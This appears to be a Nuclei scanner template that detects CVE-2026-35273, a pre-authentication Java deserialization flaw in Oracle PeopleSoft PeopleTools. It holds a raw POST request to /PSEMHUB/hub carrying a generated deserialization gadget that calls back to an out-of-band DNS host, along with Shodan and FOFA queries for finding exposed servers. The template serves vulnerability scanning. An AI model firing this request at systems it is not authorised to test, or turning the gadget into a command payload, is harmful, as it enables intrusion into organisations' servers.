CVE-2026-35273: Oracle PeopleSoft PeopleTools PSEMHUB - Pre-Auth Java Deserialization RCE

id: CVE-2026-35273

info:
  name: Oracle PeopleSoft PeopleTools PSEMHUB - Pre-Auth Java Deserialization RCE
  author: DhiyaneshDk
  severity: critical
  description: |
    Oracle PeopleSoft PeopleTools 8.61 and 8.62 contain a remote code execution vulnerability in Updates Environment Management, letting unauthenticated network attackers fully compromise the system, exploit requires network access via HTTP.
  impact: |
    Unauthenticated attackers can fully compromise PeopleSoft Enterprise PeopleTools, leading to complete system takeover.
  remediation: |
    Update to the latest available version beyond 8.62.
  reference:
    - https://www.oracle.com/security-alerts/alert-cve-2026-35273.html
    - https://cloud.google.com/blog/topics/threat-intelligence/shinyhunters-targets-education-sector-oracle-exploit
    - https://www.rapid7.com/blog/post/etr-active-exploitation-of-oracle-peoplesoft-zero-day-cve-2026-35273/
    - https://nvd.nist.gov/vuln/detail/CVE-2026-35273
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-35273
    epss-score: 0.95473
    epss-percentile: 0.99867
    cwe-id: CWE-502
  metadata:
    verified: true
    max-request: 1
    vendor: oracle
    product: peoplesoft_enterprise_peopletools
    shodan-query: http.html:"PeopleSoft"
    fofa-query: body="PeopleSoft Environment Management Hub"
  tags: cve,cve2026,oracle,peoplesoft,deserialization,rce,kev,oast,vkev

http:
  - raw:
      - |
        POST /PSEMHUB/hub HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        OPERATION={{generate_java_gadget("dns", "http://{{interactsh-url}}", "base64")}}

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "contains(body, 'rO0ABX')"
          - "contains(interactsh_protocol, 'dns')"
        condition: and
# digest: 490a0046304402203dae0829df7def231b062d4a2839b1708956d6125a42170ba4a71df8049a4d8802204d6eb62aa0e69c6b7dd3e3f04b098165463f2f02bc8d74ef67c91ae5fca334bb:922c64590222798bb761d5b6d8e72950

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